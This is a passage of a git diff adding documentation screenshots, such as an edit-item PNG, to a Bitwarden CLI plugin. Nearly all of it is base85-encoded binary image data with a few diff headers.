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 mCORWr6{KcsCoZa(0>E$3psQE literal 0 HcmV?d00001 diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/03-edit-item.png b/plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/03-edit-item.png new file mode 100644 index 0000000000000000000000000000000000000000..44913715125592e6c454d1a4f0f57524621f13c8 GIT binary patch literal 57881 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 